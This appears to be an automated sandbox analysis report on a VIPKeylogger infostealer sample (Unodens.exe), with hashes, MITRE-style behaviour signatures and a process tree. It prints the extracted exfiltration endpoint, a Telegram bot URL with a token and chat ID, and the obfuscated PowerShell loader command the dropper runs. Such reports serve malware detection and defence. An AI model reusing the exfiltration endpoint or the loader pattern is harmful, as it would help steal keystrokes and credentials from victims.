Analysis
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max time kernel
149s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20250410-en -
resource tags
arch:x64arch:x86image:win10v2004-20250410-enlocale:en-usos:windows10-2004-x64system -
submitted
14/04/2025, 13:22
Static task
static1
Behavioral task
behavioral1
Sample
Unodens.exe
Resource
win10v2004-20250410-en
Behavioral task
behavioral2
Sample
Nikkellegering.ps1
Resource
win10v2004-20250410-en
General
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Target
Unodens.exe
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Size
1.0MB
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MD5
bb02b2519acf35d79d4cddcb650faa0d
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SHA1
9f6c09441b9f2ac91953bfbc58ff2fb69d95e764
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SHA256
7638cea93334af3658ccd523affd183a8eac3fc833a31f4dce7a53648fb88ef3
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SHA512
575ef5ef863fcc7cd6d92a5ebead8fd56ce0ef4c76a41ad5892813bf3a7432f7d87a4f14fb7d4778ff5f4f4948b6490ed23c32b9d1f1eb5893ffb5c5fa1b5a5b
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SSDEEP
24576:ihzDt9Q2MEf50qCx/MK+sqVj50LLoborPpIgaQQhN+AW:iBDt9JfuHxV+h70A0CZLW
Malware Config
Extracted
vipkeylogger
https://api.telegram.org/bot7950187892:AAGsaHbTZULExJN6JaJZFgwgKccygMmel5s/sendMessage?chat_id=7050097659
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Loads dropped DLL 1 IoCs
pid Process 1696 Arseniate.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 8 drive.google.com 9 drive.google.com 20 drive.google.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 33 checkip.dyndns.org 35 reallyfreegeoip.org 39 reallyfreegeoip.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1696 Arseniate.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4568 powershell.exe 1696 Arseniate.exe -
Drops file in Program Files directory 2 IoCs
description ioc Process File opened for modification C:\Program Files (x86)\Jobname.ini Unodens.exe File opened for modification C:\Program Files (x86)\Common Files\forums\dugs.ini Unodens.exe -
pid Process 4568 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Unodens.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Arseniate.exe -
NSIS installer 2 IoCs
resource yara_rule behavioral1/files/0x000a0000000241ff-84.dat nsis_installer_1 behavioral1/files/0x000a0000000241ff-84.dat nsis_installer_2 -
Suspicious behavior: EnumeratesProcesses 10 IoCs
pid Process 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 4568 powershell.exe 1696 Arseniate.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4568 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 4568 powershell.exe Token: SeIncreaseQuotaPrivilege 4568 powershell.exe Token: SeSecurityPrivilege 4568 powershell.exe Token: SeTakeOwnershipPrivilege 4568 powershell.exe Token: SeLoadDriverPrivilege 4568 powershell.exe Token: SeSystemProfilePrivilege 4568 powershell.exe Token: SeSystemtimePrivilege 4568 powershell.exe Token: SeProfSingleProcessPrivilege 4568 powershell.exe Token: SeIncBasePriorityPrivilege 4568 powershell.exe Token: SeCreatePagefilePrivilege 4568 powershell.exe Token: SeBackupPrivilege 4568 powershell.exe Token: SeRestorePrivilege 4568 powershell.exe Token: SeShutdownPrivilege 4568 powershell.exe Token: SeDebugPrivilege 4568 powershell.exe Token: SeSystemEnvironmentPrivilege 4568 powershell.exe Token: SeRemoteShutdownPrivilege 4568 powershell.exe Token: SeUndockPrivilege 4568 powershell.exe Token: SeManageVolumePrivilege 4568 powershell.exe Token: 33 4568 powershell.exe Token: 34 4568 powershell.exe Token: 35 4568 powershell.exe Token: 36 4568 powershell.exe Token: SeDebugPrivilege 1696 Arseniate.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 5956 wrote to memory of 4568 5956 Unodens.exe 90 PID 5956 wrote to memory of 4568 5956 Unodens.exe 90 PID 5956 wrote to memory of 4568 5956 Unodens.exe 90 PID 4568 wrote to memory of 1696 4568 powershell.exe 93 PID 4568 wrote to memory of 1696 4568 powershell.exe 93 PID 4568 wrote to memory of 1696 4568 powershell.exe 93 PID 4568 wrote to memory of 1696 4568 powershell.exe 93
Processes
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C:\Users\Admin\AppData\Local\Temp\Unodens.exe"C:\Users\Admin\AppData\Local\Temp\Unodens.exe"1⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5956 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe -windowstyle 1 "$Civilhortonomernes=GC -raw 'C:\Users\Admin\AppData\Local\Temp\antoni\Kiaugh90\spiralfjedrene\Nikkellegering.Den';$Bajonetten=$Civilhortonomernes.SubString(54540,3);.$Bajonetten($Civilhortonomernes)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4568 -
C:\Users\Admin\AppData\Local\Temp\Arseniate.exe"C:\Users\Admin\AppData\Local\Temp\Arseniate.exe"3⤵
- Loads dropped DLL
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1696
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
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Filesize
1.0MB
MD5bb02b2519acf35d79d4cddcb650faa0d
SHA19f6c09441b9f2ac91953bfbc58ff2fb69d95e764
SHA2567638cea93334af3658ccd523affd183a8eac3fc833a31f4dce7a53648fb88ef3
SHA512575ef5ef863fcc7cd6d92a5ebead8fd56ce0ef4c76a41ad5892813bf3a7432f7d87a4f14fb7d4778ff5f4f4948b6490ed23c32b9d1f1eb5893ffb5c5fa1b5a5b
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
53KB
MD5daee23494cb2039ad5ea0486945a0df0
SHA1f6982455b15c62ba79500f3f1c953c7c30ad3ddd
SHA256c2d9b8b50e800c97958e1680266d11587e46929325ce7895705bb1798a03b6c8
SHA512b657ed6717e21cbcf74fc463a869c53fa55b4a3deb4dbb7585bcbef89156cf7626a778f7e83377a0cdd585ef2de0e8d8ce06e86b31f38733e60030b6f2f5e779
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Filesize
453KB
MD5312355bd2c5ba9a0de3f46dc2491a466
SHA1308789dcad035ef6fbae7e2f222070ae9a9b8417
SHA256b7fe878ceeb4152b0a53ac714af5b1cdb43bb6e9a6522f50f41986e94e68b330
SHA5127ddc523a04cd3bd668d8ffbf2ff24e91f92817d416d904ae7fff501dbd1cce2ea590d7c364701f6d6135ae1f5f247f9d1d4347dfb39a274824df59e8b0e63ec0